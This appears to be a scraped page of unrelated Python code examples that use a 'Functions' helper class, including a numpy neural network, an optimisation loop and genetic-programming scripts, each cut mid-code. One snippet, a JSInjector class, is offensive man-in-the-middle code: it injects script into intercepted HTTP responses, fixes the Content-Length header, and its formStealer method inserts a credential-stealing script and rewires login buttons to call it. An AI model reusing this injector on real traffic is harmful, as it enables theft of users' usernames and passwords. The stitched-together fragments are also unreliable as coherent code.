        # Hyperparameters of the  NN
        self.input_size = None
        self.output_size = None
        self.hidden_layers_size = None
        self.learning_rate = None

        self.hidden_layers = None
        self.function = None
        self.forward_results = None
        self.backward_results = None
        self.loss = None
        self.drop = None
        self.train_state = None

    def config(self, hyper_parameters):
        self.input_size = hyper_parameters["input_size"]
        self.output_size = hyper_parameters["output_size"]
        self.hidden_layers_size = hyper_parameters["hidden_layers_size"]
        self.learning_rate = hyper_parameters["learning_rate"]
        self.batch_size = hyper_parameters["batch_size"]
        #self.function = hyper_parameters["function"]
        self.dropout = hyper_parameters["dropout"]
        self.function = Functions()
        self.drop = []
        self.accuracy = []
        self.loss = []
        self.forward_results = []
        self.backward_results = []
        self.train_state = True

        if "hidden_layers" in hyper_parameters.keys():
            self.hidden_layers = hyper_parameters["hidden_layers"]
        else:
            self.hidden_layers = self.hidden_layers_initialization()

    def get_config(self):
        d = {}
        d["input_size"] = self.input_size
        d["output_size"] = self.output_size
        d["hidden_layers"] = self.hidden_layers
        d["hidden_layers_size"] = self.hidden_layers_size
        d["learning_rate"] = self.learning_rate
        d["batch_size"] = self.batch_size
        #d["function"] = self.function
        d["dropout"] = self.dropout
        return d

    def forward(self, x):
        lineal_dot = np.dot(x, self.hidden_layers[0])
        lineal_dot = self.function.activation(lineal_dot)
        drop = self.function.dropout(lineal_dot,
                                     self.dropout) if self.train else 1
        lineal_dot *= drop
        self.forward_results.append(self.function.activation(lineal_dot))
        #self.drop.append(drop)

        i = -1
        n = len(self.hidden_layers) - 1
        for i in range(1, n):
            lineal_dot = np.dot(self.forward_results[-1],
                                self.hidden_layers[i])
            lineal_dot = self.function.activation(lineal_dot)
            drop = drop = self.function.dropout(
                lineal_dot, self.dropout) if self.train else 1
            lineal_dot *= drop
            self.forward_results.append(lineal_dot)
            self.drop.append(drop)

        i += 1
        if i == 0:
            lineal_dot = np.dot(self.forward_results[-1],
                                self.hidden_layers[1])
        else:
            lineal_dot = np.dot(self.forward_results[-1],
                                self.hidden_layers[i])
        lineal_dot = self.function.softmax(lineal_dot)
        return lineal_dot

    def backward(self, o, y):
        loss = self.function.cross_entropy(o, y)

        o_delta = loss * self.function.cross_entropy_prime(o, y)
        self.loss.append(loss)
        self.backward_results.append(o_delta)

        n = len(self.hidden_layers)
        #input(str(n))
        # Back prop
        #if n != 2:
        for i in reversed(range(1, n)):
            # Derivada por capa actual
            error = self.backward_results[-1].dot(self.hidden_layers[i].T)
            # Error por la derivada de la activacion
            delta = (
                error *
                self.function.activation_prime(self.forward_results[i - 1])
            )  #* self.drop[i-1]
            # Se añade a los pesos del backward
            self.backward_results.append(delta)
        """else:
            for i in reversed(range(1,n)):
                # Derivada por capa actual
                error = self.backward_results[-1].dot(self.hidden_layers[i].T)
                # Error por la derivada de la activacion
                delta = (error * self.function.activation_prime(self.forward_results[i-1])) #* self.drop[i-1]
                # Se añade a los pesos del backward
                self.backward_results.append(delta)"""

    def update(self, x):
        # Revierte los resultados del backward(derivadas o primes)
        n = len(self.hidden_layers)
        #if n!=2:
        self.backward_results = self.backward_results[::-1]

        # Actualiza el primero
        self.hidden_layers[0] += x.T.dot(
            self.backward_results[0]
        ) * self.learning_rate  #np.dot(np.transpose(x), self.backward_results[0]) * self.learning_rate

        # Actualiza todos los pesos

        for i in range(1, n):
            self.hidden_layers[i] += self.forward_results[i - 1].T.dot(
                self.backward_results[i]
            ) * self.learning_rate  #np.dot(np.transpose(self.forward_results[i-1]), self.backward_results[i]) * self.learning_rate
        """else:
            self.backward_results = self.backward_results[::-1]
            self.hidden_layers[0] += x.T.dot(self.backward_results[0]) * self.learning_rate
            for i in range(1,n):                
                self.hidden_layers[i] += self.forward_results[i-1].T.dot(self.backward_results[i]) * self.learning_rate"""

    def clean(self):
        self.forward_results = []
        self.backward_results = []
        self.drop = []

    def reset(self):
        self.loss = []
        self.accuracy = []

    def train(self, x, y):
        x = np.array(x)
        y = np.array(y)

        o = self.forward(x)
        self.backward(o, y)
        self.update(x)
        self.clean()
        #self.accuracy.append(self.function.accuracy(o,y))

    def classify(self, x, y):
        o = self.forward(x)
        accuracy = self.function.accuracy(o, y)
        self.accuracy.append(accuracy)
        self.clean()

    def classify_image(self, x):
        o = self.forward(x)
        return np.argmax(o, axis=1)

    def xavier_initialization(self, rows, columns):
        # Xavier initialization for a layer
        # con esta esta funcando
        return np.random.randn(rows, columns) / np.sqrt(
            rows)  #.astype(np.float64) * np.sqrt(2.0/self.batch_size)
        #return np.random.randn(rows, columns).astype(np.float64) * np.sqrt(2.0/rows)
        #return np.random.normal(0, 0.01,(rows, columns))

    def hidden_layers_initialization(self):
        # Layers
        hidden_layers = []

        # Layer's size [2,10]
        layers = np.append(self.hidden_layers_size, [self.output_size])

        # Current layer size
        current_layer = layers[0]

        # Add the first set of w's
        hidden_layers.append(
            self.xavier_initialization(self.input_size, current_layer))

        # Number of hidden layer's
        n = layers.shape[0]

        # Create the w's for each layer
        for i in range(1, n):
            hidden_layers.append(
                self.xavier_initialization(current_layer, layers[i]))
            current_layer = layers[i]

        # Return the weights
        return hidden_layers
示例#25
0
lambda_2 = 0.001

#w = np.zeros(M)
#b = 0
#sol = np.hstack((w,b))

#sol_0 = np.loadtxt('final_solution_0.dat')
#w = sol_0[0:-1]
#b = sol_0[-1]

sol = np.zeros(M + 1)

norm_sol = np.sqrt(np.dot(sol, sol))
alpha = 0

f_value = Functions.target_function(sol, N, M, xtrain, ytrain, lambda_1,
                                    lambda_2)
df = Functions.d_function(sol, N, M, xtrain, ytrain, lambda_1, lambda_2)
norm_df = np.sqrt(np.dot(df, df))

count = 0
max_count = 100

fw.write("# iteration number\t f\t df'norm\t solution'norm\n")

f_his = []
f_his.append(f_value)

print("Iteration starts...\n")
while count < max_count and norm_df > epsilon * np.maximum(1, norm_sol):
    print("Iteration %d: f = %f, df's norm = %f, solution's norm = %f" %
          (count, f_value, norm_df, norm_sol))
示例#26
0
class JSInjector:
    def __init__(self):
        self._tools = Functions()
        self._injectionPlaces = [
            "</head>", "<script ", "</body>", "<div>", "<title>", "<link rel",
            "<p ", "<br/>"
        ]
        self._buttonTypes = ['type="button"', 'type="submit"']
        self._hasFormStealer = False

    def injectScriptIntoHeader(self, response, code_to_inject=""):
        header = self._tools.getHeader(response)
        oldresponse = response, 0
        injected_script = False

        # Try to inject code into the response body
        for ijplace in self._injectionPlaces:
            try:
                print "[*] Try to inject code in: " + str(ijplace)
                start = response.index(ijplace)
                response = response[:start] + code_to_inject + response[start:]
                injected_script = True
                print "[*] Code in front of " + str(ijplace) + " injected!"
                break
            except Exception:
                #print "[*] " + str(ijplace) + " failed! Next..."
                continue

        if not injected_script:
            print "[-] Failed to inject..."
            return oldresponse

        # Calculate the new length and change it in the header
        headernew, status = self._tools.changeContentlength(
            header, len(code_to_inject))

        # If both are true we are ready to change all in the response
        try:
            if status and injected_script:
                response = response.replace(header, headernew)
                print "[+] Injection done!"
                return response, 1
        except Exception:
            return oldresponse

        return oldresponse

    def formStealer(self, response):

        if self._hasFormStealer:
            return response

        oldresponse = response
        try:
            soup = BeautifulSoup(response, 'html.parser')
            txtinput = soup.findAll('input', {'type': 'text'})
            pwdinput = soup.findAll('input', {'type': 'password'})
        except Exception:
            return oldresponse

        username = ""
        password = ""

        # Get the name of the form

        try:
            for elem1 in txtinput:
                username = elem1['name']

            for elem2 in pwdinput:
                password = elem2['name']
        except Exception:
            return oldresponse

        if username is "" or password is "":
            return oldresponse

        #print response

        #Get formstealer script
        script = ""
        with open("JSInjector/formstealer.html", 'r') as f:
            script = f.readlines()

        if len(script) is 0:
            return oldresponse

        scriptSTR = ""
        for s in script:
            scriptSTR += s

        if scriptSTR is "":
            return oldresponse

        # Replace placeholder name with real formname
        scriptSTR = scriptSTR.replace("PLACEHOLDERUSERNAME", username)
        scriptSTR = scriptSTR.replace("PLACEHOLDERPASSWORD", password)

        #print scriptSTR

        response, status = self.injectScriptIntoHeader(response, scriptSTR)
        """
            After script injection was successfull we need to add an onclick event to the function.
            If the injection failed we dont need to add the onclick event
        """

        if status:
            print "[*] Adding onClick event"
            for b in self._buttonTypes:
                try:
                    start = response.index(b) + len(b) + 1
                    end = response.index("/>", start)
                    response = self._removeOnClickEvent(response, start, end)
                    response = str(
                        response[:start]) + 'onclick="verifyLoginZ()" ' + str(
                            response[start:])

                    print "[+] Added button event in: " + str(b)
                    self._hasFormStealer = True
                    return response
                except Exception:
                    continue

        return oldresponse

    def _removeOnClickEvent(self, response, start, end):
        button = response[start:end]
        if "onclick=" in button:
            print "[*] Previous onclick event found. Try to remove it"
            print "[*] " + str(button)
            ostart = button.index("onclick=")
            oend = button.index('"', ostart + len('onclick="'))
            on_click = button[ostart:oend + 1]
            print "[*] " + str(on_click)
            button_new = button.replace(on_click, "")
            response = response.replace(button, button_new)
            print "[*] Removed"
            print "[*] " + str(button_new)
            print "[*] Need to substract the removed content length..."
            len_to_remove = len(on_click)
            response = self._tools.changeContentlength(response,
                                                       -len_to_remove)

        return response
示例#27
0
POP_SIZE = 60  # population size
MIN_DEPTH = 2  # minimal initial random tree depth
MAX_DEPTH = 5  # maximal initial random tree depth
GENERATIONS = 250  # maximal number of generations to run evolution
TOURNAMENT_SIZE = 5  # size of tournament for tournament selection
XO_RATE = 0.8  # crossover rate
PROB_MUTATION = 0.2  # per-node mutation probability


# import data
df = pd.read_csv('BINANCE_ETHBTC_H4.csv')
price_pseries = df.open
volume_pseries = df.volume

func = Functions(price_pseries, volume_pseries)
arithmetic_funcs = [func.add, func.sub, func.mul, func.div, func.norm]
boolean_funcs = [func.and_f, func.or_f]
number_to_boolean_funcs = [func.larger, func.smaller]
price_volume_funcs = [func.min, func.max, func.lag, func.average]
FUNCTIONS = arithmetic_funcs + boolean_funcs + number_to_boolean_funcs + price_volume_funcs
FUNCS_info = {'add':['n','n','n'],'sub':['n','n', 'n'],'mul':['n','n','n'],'div':['n','n','n'],'norm':['n','n','n'],
              'and_f':['b','b','b'],'or_f':['b','b','b'],
              'larger':['b','n','n'],'smaller':['b','n','n'],
              'min':['n','b','nn'],'max':['n','b','nn'],'lag':['n','b','nn'],'average':['n','b','nn'],}
boolean_terms = [True,False]
n_terms = [2,6,12,18,42,360,720]# 8h, 1d, 2d, 3d, 7d, 30d, 60d
random_terms =[-2, -1, -0.2, -0.5, -0.8, 0, 0.2, 0.5, 0.8, 1, 2]
TERMINALS = boolean_terms + n_terms + random_terms

示例#28
0
                    metavar=('FILE'),
                    dest='translate',
                    default='',
                    help='read last column from DATA_FILE and translate\
                    them using FILE')
parser.add_argument('-v',
                    '--version',
                    action='version',
                    version='%(prog)s 1.0')
args = parser.parse_args()

arrU = []
arrV = []

if '' == args.translate:
    arrU, arrV = Fun.readFile(args.fileName, args.inNeurones, args.outNeurones)
else:
    arrU, arrV = Fun.readFile(args.fileName, args.inNeurones, 1)
    Fun.translate(args.translate, arrV)

extraLabel = ''

if '' != args.querryFile:
    qrrU, qrrV = Fun.readFile(args.querryFile, args.inNeurones,
                              args.outNeurones)
    if args.extraQuerry is True:
        args.hidNeurones += args.hidNeurones
        extraLabel = ', dane testowe'

for n in range(len(args.hidNeurones)):
    network = (NN(args.inNeurones, args.hidNeurones[n], args.outNeurones,
示例#29
0
from random import randint, random
from utils import *
from copy import deepcopy
from math import log
from Functions import Functions

functions = Functions()
flist = [
    functions.add_f, functions.subtract_f, functions.multiply_f,
    functions.if_f, functions.greater_f
]


def hidden_function(x, y):
    return x**2 + 2 * y + 3 * x + 5


def build_hidden_set():
    rows = []
    for i in range(200):
        x = randint(0, 40)
        y = randint(0, 40)
        rows.append([x, y, hidden_function(x, y)])
    return rows


def score_function(tree, s):
    dif = 0
    for data in s:
        v = tree.forward([data[0], data[1]])
        dif += abs(v - data[2])